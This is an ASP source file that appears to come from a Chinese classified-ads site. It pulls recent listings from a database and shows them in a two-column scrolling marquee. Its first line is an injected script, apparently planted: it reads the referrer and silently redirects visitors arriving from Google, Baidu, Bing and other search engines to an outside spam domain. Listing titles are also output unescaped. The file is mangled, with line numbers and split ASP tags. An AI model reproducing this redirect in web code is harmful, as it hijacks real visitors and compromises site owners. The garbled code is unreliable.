d:\wwwroot\wuchunhua\js.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="header.asp"-->
002:
<!--#include file="conn.asp"-->
003:
<link href="inc/style.css" rel="stylesheet" type="text/css">
004:
<DIV id=icefable1 style="WIDTH: 515px; height:69px; ">
005:
<table width="400" border="0" style="border-collapse: collapse" cellpadding="0" height="60"><tr><TD width=200 valign="top">
006:
<p style="line-height: 150%">
007:
<%
if webhot="1" then
%
>
008:
<%
end if
%
>
009:
<%
sql="select top 24 type_one,type_two,type_three,title,adid,date,color from china_data where mark='yes' and stop >= date() and shouye=1 order by adid desc"
010:
set rs=server.createobject("adodb.recordset")
011:
rs.open sql,conn,1,1
012:
if rs.eof then
%
>
013:
</span>暂无滚动分类信息
014:
<%
015:
else
016:
ib=rs.recordcount\2
017:
if rs.recordcount/2>ib then
018:
ib=ib+1
019:
end if
020:
ic=0
021:
do while not rs.eof
022:
typeone=rs("type_one")
023:
typetwo=rs("type_two")
024:
typethree=rs("type_three")
025:
if typeone<>"" then
026:
ciname=typeone
027:
end if
028:
if typetwo<>"" then
029:
ciname=typetwo
030:
end if
031:
if typethree<>"" then
032:
ciname=typethree
033:
end if
034:
%
>
035:
</span><a title=
<%
=rs("title")
%
> href="html/
<%
=rs("adid")
%
>.htm" target="_blank"><font style="size:12px "
<%
if rs("color")<>"" then
%
>color="
<%
=rs("color")
%
>"
<%
end if
%
>>·
<%
=left(rs("title"),12)
%
></font></a> <font color="#008080" style="font-size: 9pt">[
<%
=mid(rs("date"),6)
%
>]</font><br>
036:
<%
037:
ic=ic+1
038:
if ic=ib then
039:
exit do
040:
end if
041:
rs.movenext
042:
loop
043:
end if
%
>
044:
</TD><TD width=200 valign="top"><p style="line-height: 150%">
045:
<%
046:
if rs.eof then
%
>
047:
<%
048:
else
049:
rs.movenext
050:
do while not rs.eof
051:
typeone=rs("type_one")
052:
typetwo=rs("type_two")
053:
typethree=rs("type_three")
054:
if typeone<>"" then
055:
ciname=typeone
056:
end if
057:
if typetwo<>"" then
058:
ciname=typetwo
059:
end if
060:
if typethree<>"" then
061:
ciname=typethree
062:
end if
063:
%
>
064:
</span><a title=
<%
=rs("title")
%
> href="html/
<%
=rs("adid")
%
>.htm" target="_blank"><font style="size:12px "
<%
if rs("color")<>"" then
%
>color="
<%
=rs("color")
%
>"
<%
end if
%
>>·
<%
=left(rs("title"),12)
%
></font></a> <font color="#008080" style="font-size: 9pt">[
<%
=mid(rs("date"),6)
%
>]</font><br>
065:
<%
066:
rs.movenext
067:
loop
068:
end if
069:
rs.close
070:
set rs=nothing
%
>
071:
</span></TD>
072:
</tr></table>
073:
</DIV>
074:
<DIV id=icefable2 style="Z-INDEX: 1; VISIBILITY: hidden; POSITION: absolute"></DIV>
075:
<span style="font-size: 9pt">
076:
<SCRIPT>marqueesHeight=60;stopscroll=false;icefable1.scrollTop=0;with(icefable1){style.width=0;style.height=marqueesHeight;style.overflowX='visible';style.overflowY='hidden';noWrap=true;onmouseover=new Function('stopscroll=true');onmouseout=new Function('stopscroll=false');}preTop=0; currentTop=0;stoptime=0;function init_srolltext(){icefable2.innerHTML='';icefable2.innerHTML+=icefable1.innerHTML;icefable1.innerHTML=icefable2.innerHTML+icefable2.innerHTML;setInterval('scrollUp()',6);}function scrollUp(){if(stopscroll==true) return;currentTop+=1;if(currentTop==58){stoptime+=1;currentTop-=1;if(stoptime==350){currentTop=0;stoptime=0;}}else{preTop=icefable1.scrollTop;icefable1.scrollTop+=1;if(preTop==icefable1.scrollTop){ icefable1.scrollTop=icefable2.offsetHeight-marqueesHeight;icefable1.scrollTop+=1;}}}init_srolltext();</SCRIPT>
077:
</span>
078:
079:
080: